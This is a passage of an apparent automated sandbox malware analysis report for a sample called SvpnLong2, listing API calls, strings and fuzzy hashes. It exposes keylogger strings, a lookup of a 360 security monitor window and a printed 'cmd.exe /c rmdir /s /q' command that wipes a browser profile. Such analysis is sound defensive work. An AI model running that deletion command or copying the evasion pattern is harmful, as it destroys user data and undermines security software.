free.LIBCMT ref: 02147E29
free.LIBCMT ref: 02147E3B
free.LIBCMT ref: 02147E4D

Strings

bad locale name, xrefs: 02147D94

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID: bad locale name
API String ID: 4069110180-1405518554
Opcode ID: a5a1bdde25dca6eef30413fe1c9e6e5f282252f9f1af67be6b139782a1b5077d
Instruction ID: b51bc9313117989c8990fb6ed8bed3674762c45e61e9898b99cefa3b1856a0c1
Opcode Fuzzy Hash: a5a1bdde25dca6eef30413fe1c9e6e5f282252f9f1af67be6b139782a1b5077d
Instruction Fuzzy Hash: BB417836B81B40DDEB11EBB0E4643DD3372AB4479CF54056ACE6D2BA98DF34806AC784

Function 01E6395C Relevance: 10.6, APIs: 7, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 01E6856C: _lock.LIBCMT ref: 01E68593
Part of subcall function 01E6856C: _errno.LIBCMT ref: 01E685A7
Part of subcall function 01E6856C: _invalid_parameter_noinfo.LIBCMT ref: 01E685B3

_errno.LIBCMT ref: 01E639E3
_errno.LIBCMT ref: 01E639EA
_errno.LIBCMT ref: 01E63A0A
_errno.LIBCMT ref: 01E63A13
_errno.LIBCMT ref: 01E63A1D
_errno.LIBCMT ref: 01E63A27
free.LIBCMT ref: 01E63A4D

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo_lockfree
String ID:
API String ID: 545175899-0
Opcode ID: 57a3e14ff19d228fc4fb1404de0338fa2b2075d3f3262c611f483b0a365b67db
Instruction ID: a6757fb3b954c2d3cda968025f668de873409886123c2be1854cd0b4dd700982
Opcode Fuzzy Hash: 57a3e14ff19d228fc4fb1404de0338fa2b2075d3f3262c611f483b0a365b67db
Instruction Fuzzy Hash: DE31C530944B0F8F9F59EFB988851AE77E9FFA8291B84562EC50AD3260DF34C4408B91

Function 0214D060 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

Part of subcall function 02153290: malloc.LIBCMT ref: 021532AA

std::exception::exception.LIBCMT ref: 0214D10B
free.LIBCMT ref: 0214D18D
free.LIBCMT ref: 0214D19F
free.LIBCMT ref: 0214D1B1
free.LIBCMT ref: 0214D1C3

Strings

bad locale name, xrefs: 0214D0F8

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID: bad locale name
API String ID: 4069110180-1405518554
Opcode ID: 313f0e32c2ebebe2d1126992b8392d53e546b2894d241d5580ede04190ed898e
Instruction ID: c5e9db54ead9c03b199a42bbbae9bd79bd013f2b36dbd3665f60380180d547fc
Opcode Fuzzy Hash: 313f0e32c2ebebe2d1126992b8392d53e546b2894d241d5580ede04190ed898e
Instruction Fuzzy Hash: 5C413436681B40D8EB15EF60F8543AD33B5EB88B9CF444565EE9D17A58DF34C129C344

Function 02155128 Relevance: 10.6, APIs: 7, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 02155151

Part of subcall function 02159B98: _amsg_exit.LIBCMT ref: 02159BC2

RtlDecodePointer.NTDLL ref: 02155184
RtlDecodePointer.NTDLL ref: 021551A2
RtlDecodePointer.NTDLL ref: 021551E2
RtlDecodePointer.NTDLL ref: 021551FC
RtlDecodePointer.NTDLL ref: 0215520C
ExitProcess.KERNEL32 ref: 02155298

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: DecodePointer$ExitProcess_amsg_exit_lock
String ID:
API String ID: 3411037476-0
Opcode ID: e2e3b51d05ac2f4ea72abadf658c529adedca980e58158798a595591db0a13ac
Instruction ID: b377537554a8505384caec8f03f4ad0aa842c37aee59933303036db517ebadf4
Opcode Fuzzy Hash: e2e3b51d05ac2f4ea72abadf658c529adedca980e58158798a595591db0a13ac
Instruction Fuzzy Hash: 98319E31262B60D5EB109F12F89835973A6FB98B94FD50065EE9E43B64EF38C099C700

Function 021542A4 Relevance: 10.6, APIs: 7, Instructions: 93threadCOMMON

Download Yara Rule

APIs

Part of subcall function 021583F4: HeapCreate.KERNELBASE ref: 0215840A
Part of subcall function 021583F4: GetVersion.KERNEL32 ref: 0215841C
Part of subcall function 021583F4: HeapSetInformation.KERNEL32 ref: 0215843A

_RTC_Initialize.LIBCMT ref: 021542D6
GetCommandLineA.KERNEL32 ref: 021542DB

Part of subcall function 0215976C: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,021542ED), ref: 02159785
Part of subcall function 0215976C: WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,021542ED), ref: 021597DC
Part of subcall function 0215976C: WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,021542ED), ref: 02159817
Part of subcall function 0215976C: free.LIBCMT ref: 02159824
Part of subcall function 0215976C: FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,021542ED), ref: 0215982F

Part of subcall function 0215902C: GetStartupInfoW.KERNEL32 ref: 0215904D

__setargv.LIBCMT ref: 02154304
_cinit.LIBCMT ref: 02154318

Part of subcall function 021547F4: FlsFree.KERNEL32(?,?,?,?,02154382), ref: 02154803
Part of subcall function 021547F4: RtlDeleteCriticalSection.NTDLL ref: 02159A43
Part of subcall function 021547F4: free.LIBCMT ref: 02159A4C
Part of subcall function 021547F4: RtlDeleteCriticalSection.NTDLL ref: 02159A73

Part of subcall function 02159300: free.LIBCMT ref: 02159351

Part of subcall function 0215537C: Sleep.KERNEL32(?,?,00000000,02153110), ref: 021553C1

FlsSetValue.KERNEL32 ref: 021543B2
GetCurrentThreadId.KERNEL32 ref: 021543C6
free.LIBCMT ref: 021543D5

Part of subcall function 02153D28: HeapFree.KERNEL32(?,?,00000000,02154940,?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000), ref: 02153D3E
Part of subcall function 02153D28: _errno.LIBCMT ref: 02153D48
Part of subcall function 02153D28: GetLastError.KERNEL32(?,?,00000000,02154940,?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000), ref: 02153D50

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: free$FreeHeap$ByteCharCriticalDeleteEnvironmentMultiSectionStringsWide$CommandCreateCurrentErrorInfoInformationInitializeLastLineSleepStartupThreadValueVersion__setargv_cinit_errno
String ID:
API String ID: 125979975-0
Opcode ID: 3e6a505305982a7036bb7baf798e1af14b3eaeebb1605479fe5373ab37efe9b9
Instruction ID: f50f6655c1cc05059798d289e588307bc1f83110cb74af02668244dab7787e42
Opcode Fuzzy Hash: 3e6a505305982a7036bb7baf798e1af14b3eaeebb1605479fe5373ab37efe9b9
Instruction Fuzzy Hash: F931BF346C9231CDFBA4BFB1B44836F21A6AB24354F4546E5CD32851A4EF38C0D5CAA2

Function 021520E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0215212E
lstrcpy.KERNEL32 ref: 02152144
wsprintfA.USER32 ref: 02152173
lstrlen.KERNEL32 ref: 0215217C

Strings

SOFTWARE\%sW\, xrefs: 02152164
UnKnowW, xrefs: 02152138

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ComputerNamelstrcpylstrlenwsprintf
String ID: SOFTWARE\%sW\$UnKnowW
API String ID: 2137660125-763317463
Opcode ID: 642eb358f19a7e10fd042be8f2a3199548e465a8511418f4244e3dd5ad69a7b2
Instruction ID: 98879e9416142a70d7c3652b02076e040f4b7fb104f9c11f07db12d8c8e76538
Opcode Fuzzy Hash: 642eb358f19a7e10fd042be8f2a3199548e465a8511418f4244e3dd5ad69a7b2
Instruction Fuzzy Hash: 63111C32218A8191EB20DF21F85C3DEA362FBD9785F854012DB8D47A58EF3DC159CB40

Function 0214DCA0 Relevance: 10.5, APIs: 7, Instructions: 44filesynchronizationstringCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 0214DCBC
CreateFileA.KERNEL32 ref: 0214DCEE
SetFilePointer.KERNEL32 ref: 0214DD13
lstrlen.KERNEL32 ref: 0214DD1C
WriteFile.KERNEL32 ref: 0214DD39
CloseHandle.KERNEL32 ref: 0214DD42
ReleaseMutex.KERNEL32 ref: 0214DD54

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: File$CloseCreateHandleMutexObjectPointerReleaseSingleWaitWritelstrlen
String ID:
API String ID: 4202892810-0
Opcode ID: d38896a3890081b88ef905279f1f8f3bcd07668c588b65e7c678813c6d7bd9a0
Instruction ID: 6206345e0acde29516762b8597f81b5fb44dd592b28c2a795bc3c3a173c2f454
Opcode Fuzzy Hash: d38896a3890081b88ef905279f1f8f3bcd07668c588b65e7c678813c6d7bd9a0
Instruction Fuzzy Hash: AC11007530564086EB54CF51F82C76A7760FB98BA9F598314EA6E43BE4DF7CC0498B01

Function 0214FB30 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 34sleeplibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 02142AC0: CreateToolhelp32Snapshot.KERNEL32 ref: 02142AD6

LoadLibraryW.KERNEL32 ref: 0214FB48

Part of subcall function 0214F2D0: CreateFileW.KERNEL32 ref: 0214F303

FindWindowW.USER32 ref: 0214FB69
IsDlgButtonChecked.USER32 ref: 0214FB84
Sleep.KERNEL32 ref: 0214FB8F

Part of subcall function 0214F360: GetCurrentProcessId.KERNEL32 ref: 0214F3A0
Part of subcall function 0214F360: GetCurrentThreadId.KERNEL32 ref: 0214F3A8
Part of subcall function 0214F360: VirtualProtect.KERNEL32 ref: 0214F3CF
Part of subcall function 0214F360: VirtualProtect.KERNEL32 ref: 0214F3F6
Part of subcall function 0214F360: CreateProcessWithLogonW.ADVAPI32 ref: 0214F450
Part of subcall function 0214F360: VirtualProtect.KERNEL32 ref: 0214F475
Part of subcall function 0214F360: VirtualProtect.KERNEL32 ref: 0214F49C
Part of subcall function 0214F360: CloseHandle.KERNEL32 ref: 0214F4AC

Strings

Q360SafeMonClass, xrefs: 0214FB60
user32.dll, xrefs: 0214FB41

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ProtectVirtual$Create$CurrentProcess$ButtonCheckedCloseFileFindHandleLibraryLoadLogonSleepSnapshotThreadToolhelp32WindowWith
String ID: Q360SafeMonClass$user32.dll
API String ID: 200090976-537184153
Opcode ID: 921665ad5ac78c43fd3a9f23d873db2a3a650aae6eac6ae2d962f46c08df0d72
Instruction ID: 826b0f374d0729d765fa02bb7b2b56123d7e1064ce314d0d493a99519433bfa3
Opcode Fuzzy Hash: 921665ad5ac78c43fd3a9f23d873db2a3a650aae6eac6ae2d962f46c08df0d72
Instruction Fuzzy Hash: 47F0E93079160147FF24AB72EC6C7AD1252AFA8744F0814358D0E85F90FF2CC44AC751

Function 0214E1F0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 34sleepsynchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 0214E20B
GetLastError.KERNEL32 ref: 0214E214
GetModuleHandleA.KERNEL32 ref: 0214E223

Part of subcall function 0214DA90: SHGetFolderPathA.SHELL32 ref: 0214DACD
Part of subcall function 0214DA90: lstrcat.KERNEL32 ref: 0214DADD
Part of subcall function 0214DA90: CreateMutexA.KERNEL32 ref: 0214DAEE
Part of subcall function 0214DA90: WaitForSingleObject.KERNEL32 ref: 0214DB06
Part of subcall function 0214DA90: CreateFileA.KERNEL32 ref: 0214DB34
Part of subcall function 0214DA90: GetFileSize.KERNEL32 ref: 0214DB42
Part of subcall function 0214DA90: CloseHandle.KERNEL32 ref: 0214DB4D
Part of subcall function 0214DA90: DeleteFileA.KERNEL32 ref: 0214DB5E
Part of subcall function 0214DA90: ReleaseMutex.KERNEL32 ref: 0214DB70

Part of subcall function 0214DEB0: GetKeyState.USER32 ref: 0214DFA5
Part of subcall function 0214DEB0: lstrlen.KERNEL32 ref: 0214DFFE
Part of subcall function 0214DEB0: wsprintfA.USER32 ref: 0214E06C
Part of subcall function 0214DEB0: lstrlen.KERNEL32 ref: 0214E105

Sleep.KERNEL32 ref: 0214E250
CloseHandle.KERNEL32 ref: 0214E261

Strings

K^e^y^L^o^g^g^e^r, xrefs: 0214E200

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: CreateFileHandleMutex$Closelstrlen$DeleteErrorFolderLastModuleObjectPathReleaseSingleSizeSleepStateWaitlstrcatwsprintf
String ID: K^e^y^L^o^g^g^e^r
API String ID: 809812578-2826508260
Opcode ID: 89460a35c748eb327358448a72d58bcfd2f9277bad92bf41dea310a58b81c931
Instruction ID: c589f961a159de8d9511310083a7b8a31f44ba21f2af12c3e6b91b4e4516fa1e
Opcode Fuzzy Hash: 89460a35c748eb327358448a72d58bcfd2f9277bad92bf41dea310a58b81c931
Instruction Fuzzy Hash: EA018C31244B41C2EB549B25F84C3AE73A2FB99784F565425DA4E46A64DF38C08DCB00

Function 0214EC62 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 25processCOMMON

Download Yara Rule

APIs

Part of subcall function 0214F1D0: CreateToolhelp32Snapshot.KERNEL32 ref: 0214F1F7

WinExec.KERNEL32 ref: 0214ECC3

Part of subcall function 0214F130: SHGetKnownFolderPath.SHELL32 ref: 0214F166
Part of subcall function 0214F130: wsprintfW.USER32 ref: 0214F184

Strings

cmd.exe /c rmdir /s /q "%userprofile%\AppData\Local\360Chrome\Chrome\User Data\Default", xrefs: 0214ECBA
360se6.exe, xrefs: 0214EC69
360chrome.exe, xrefs: 0214ECAE
\AppData\Roaming\360se6\User Data\Default, xrefs: 0214EC79, 0214EC9F
360se.exe, xrefs: 0214EC8F

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: CreateExecFolderKnownPathSnapshotToolhelp32wsprintf
String ID: 360chrome.exe$360se.exe$360se6.exe$\AppData\Roaming\360se6\User Data\Default$cmd.exe /c rmdir /s /q "%userprofile%\AppData\Local\360Chrome\Chrome\User Data\Default"
API String ID: 3785949191-1706831714
Opcode ID: d1eaf7f8e489474969b91f961f9eca55b1cc3b354283557bd717e9cd878dd9fd
Instruction ID: fce8aab0f73e497f4f4e7c672290c486e8ccfafaa5b3c3b54ee2067d977c1ecd
Opcode Fuzzy Hash: d1eaf7f8e489474969b91f961f9eca55b1cc3b354283557bd717e9cd878dd9fd
Instruction Fuzzy Hash: 6CF09E34291A4595FE14EB21EC9C3D92361B768B88FC91423894D86774EF6CC18BC7D4

Function 01E70AA8 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 01E70AC7

Part of subcall function 01E696DC: _getptd.LIBCMT ref: 01E696E0

_getptd.LIBCMT ref: 01E70AD9
_getptd.LIBCMT ref: 01E70AE7

Strings

csm, xrefs: 01E70ABF
MOC, xrefs: 01E70AB7
RCC, xrefs: 01E70AAF

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction ID: 542b3c5956b6f8c3a22d5e1a0cf742abbaa2f358d7ee21e5fe75b2070b08d5aa
Opcode Fuzzy Hash: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction Fuzzy Hash: 19E01274490145CEE7157B68C00D7AC35A4FF2A20DF867AE594448B262E7BC94D4CB53

Function 021610F0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 20COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0216110F

Part of subcall function 02154958: _amsg_exit.LIBCMT ref: 0215496E

Part of subcall function 02159D24: _getptd.LIBCMT ref: 02159D28

_getptd.LIBCMT ref: 02161121
_getptd.LIBCMT ref: 0216112F

Strings

csm, xrefs: 02161107
MOC, xrefs: 021610FF
RCC, xrefs: 021610F7

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _getptd$_amsg_exit
String ID: MOC$RCC$csm
API String ID: 2610988583-2671469338
Opcode ID: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction ID: 35ef06a2c558346c8813ffcd8a0f423bcb3de8fe503e38d502bb29cc0d5961a5
Opcode Fuzzy Hash: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction Fuzzy Hash: 06E04F36A80155DACB15AFB4C0493FC36A1FB9CB0AF9BD0B18A6842310C7BD44E0CF92

Function 01E6D470 Relevance: 9.3, APIs: 6, Instructions: 293COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 01E6D4C0
_errno.LIBCMT ref: 01E6D4C7
_invalid_parameter_noinfo.LIBCMT ref: 01E6D4D2
__doserrno.LIBCMT ref: 01E6D61D
free.LIBCMT ref: 01E6D674
_errno.LIBCMT ref: 01E6D6E4

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: __doserrno_errno$_invalid_parameter_noinfofree
String ID:
API String ID: 3760323483-0
Opcode ID: f6f2cbfcb04b39f03fd32e05ec31852a2d6f70f061b4e20e682d57eae25433b6
Instruction ID: 17ed2238b55cbb27aaa705a5a27079ea33da95261dd76a19024dc146627dd6cb
Opcode Fuzzy Hash: f6f2cbfcb04b39f03fd32e05ec31852a2d6f70f061b4e20e682d57eae25433b6
Instruction Fuzzy Hash: 0F813530758A498FDB19EFACC8856BC77E8FB5A359BC0212DD4CBC7152DA74D8068742

Function 01E658A8 Relevance: 9.2, APIs: 6, Instructions: 164COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 01E658C7

Part of subcall function 01E654E4: _getptd.LIBCMT ref: 01E654EE

Part of subcall function 01E64CB4: malloc.LIBCMT ref: 01E64CDF

free.LIBCMT ref: 01E65952

Part of subcall function 01E636E0: _errno.LIBCMT ref: 01E63700

_lock.LIBCMT ref: 01E65982
free.LIBCMT ref: 01E65A25
free.LIBCMT ref: 01E65A51
_errno.LIBCMT ref: 01E65A56

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: free$_errno_getptd$_lockmalloc
String ID:
API String ID: 1369581901-0
Opcode ID: dfd48de12b3e966387c16bd8cfcff08fc85f586fa0c636f5f2138c5d3ae57c13
Instruction ID: f3d0f8076c464c6182b28314efe133e7c2e80db5f1a2258f05f47d05a5cdd0c6
Opcode Fuzzy Hash: dfd48de12b3e966387c16bd8cfcff08fc85f586fa0c636f5f2138c5d3ae57c13
Instruction Fuzzy Hash: C2513230758B868FDB51EF28948066C77E9FF993D8F94519EC89EC7252DA3098428782

Function 02155EF0 Relevance: 9.1, APIs: 6, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 02155F0F

Part of subcall function 02154958: _amsg_exit.LIBCMT ref: 0215496E

Part of subcall function 02155B2C: _getptd.LIBCMT ref: 02155B36
Part of subcall function 02155B2C: _amsg_exit.LIBCMT ref: 02155BD3

Part of subcall function 02155BE8: GetOEMCP.KERNEL32(?,?,?,?,?,?,?,02155F2A,?,?,?,?,?,021560E7), ref: 02155C12

Part of subcall function 021552FC: malloc.LIBCMT ref: 02155327
Part of subcall function 021552FC: Sleep.KERNEL32(?,?,00000000,02159B11,?,?,00000000,02159BBB,?,?,?,?,?,?,00000000,0215492C), ref: 0215533A

free.LIBCMT ref: 02155F9A

Part of subcall function 02153D28: HeapFree.KERNEL32(?,?,00000000,02154940,?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000), ref: 02153D3E
Part of subcall function 02153D28: _errno.LIBCMT ref: 02153D48
Part of subcall function 02153D28: GetLastError.KERNEL32(?,?,00000000,02154940,?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000), ref: 02153D50

_lock.LIBCMT ref: 02155FCA
free.LIBCMT ref: 0215606D
free.LIBCMT ref: 02156099
_errno.LIBCMT ref: 0215609E

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: free$_amsg_exit_errno_getptd$ErrorFreeHeapLastSleep_lockmalloc
String ID:
API String ID: 3894533514-0
Opcode ID: b891349ff1fe49bd5c6ff5d5418ca1bc2c36bcc55aa6a8fb56ddf5fa22d6174b
Instruction ID: c1895f1ff68b50d68f2eba29ac3add67a32542dfc453be026fcce42fcb49165b
Opcode Fuzzy Hash: b891349ff1fe49bd5c6ff5d5418ca1bc2c36bcc55aa6a8fb56ddf5fa22d6174b
Instruction Fuzzy Hash: 1E41F336640AA0CAD725DF25E44036E77B6FB84B94F988196DE7A47364CF3DC042C791

Function 01E6856C Relevance: 9.1, APIs: 6, Instructions: 116COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 01E68593
_errno.LIBCMT ref: 01E685A7
_invalid_parameter_noinfo.LIBCMT ref: 01E685B3
calloc.LIBCMT ref: 01E685F5
_errno.LIBCMT ref: 01E68602
_errno.LIBCMT ref: 01E6860D

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo_lockcalloc
String ID:
API String ID: 2577527384-0
Opcode ID: 2f70ec6ef3d5c3994c8657d7c15eef66e98feaa01b428a6d9299e4e104dbd0a3
Instruction ID: b4968d60b6f7182bcfbb98894b210b9108d86f75b33e3d60c4daa3237d1c533e
Opcode Fuzzy Hash: 2f70ec6ef3d5c3994c8657d7c15eef66e98feaa01b428a6d9299e4e104dbd0a3
Instruction Fuzzy Hash: 3D31BD307A8B4B8FD754AF6C9401A2DB7D8FB68288BC1216D998DC7251DE30DC408782

Function 01E69468 Relevance: 9.1, APIs: 6, Instructions: 82COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 01E6948F

Part of subcall function 01E69E5C: _set_error_mode.LIBCMT ref: 01E69E65
Part of subcall function 01E69E5C: _set_error_mode.LIBCMT ref: 01E69E74

Part of subcall function 01E69BFC: _set_error_mode.LIBCMT ref: 01E69C41
Part of subcall function 01E69BFC: _set_error_mode.LIBCMT ref: 01E69C52

Part of subcall function 01E64CB4: malloc.LIBCMT ref: 01E64CDF

_errno.LIBCMT ref: 01E694D1
_lock.LIBCMT ref: 01E694E5
free.LIBCMT ref: 01E69508
_errno.LIBCMT ref: 01E6950D

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _set_error_mode$_errno$_lockfreemalloc
String ID:
API String ID: 360200360-0
Opcode ID: 73ae3fb5c7c4ccbaaf4f8d4c4d45a553f7f84ec8388a2a8c33d3473ba375301a
Instruction ID: caf6f29c2dab8cfed67c800b7d6aba773fea1935e319626cafd3177b0ac50969
Opcode Fuzzy Hash: 73ae3fb5c7c4ccbaaf4f8d4c4d45a553f7f84ec8388a2a8c33d3473ba375301a
Instruction Fuzzy Hash: 6421C33029864B8FEB54BFA8E45436D77D8FB683D8FC06429D00AC3292DF798844C752

Function 02158BB4 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 02158BDB

Part of subcall function 02159B98: _amsg_exit.LIBCMT ref: 02159BC2

_errno.LIBCMT ref: 02158BEF
_invalid_parameter_noinfo.LIBCMT ref: 02158BFB

Part of subcall function 02155664: GetCurrentProcess.KERNEL32(?,?,?,?,02155706), ref: 0215567C

calloc.LIBCMT ref: 02158C3D
_errno.LIBCMT ref: 02158C4A
_errno.LIBCMT ref: 02158C55

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _errno$CurrentProcess_amsg_exit_invalid_parameter_noinfo_lockcalloc
String ID:
API String ID: 1209116363-0
Opcode ID: 2f70ec6ef3d5c3994c8657d7c15eef66e98feaa01b428a6d9299e4e104dbd0a3
Instruction ID: 03166193bf8cc12e0a61d3bc765888593600a2fb27894b302bac19175f616992
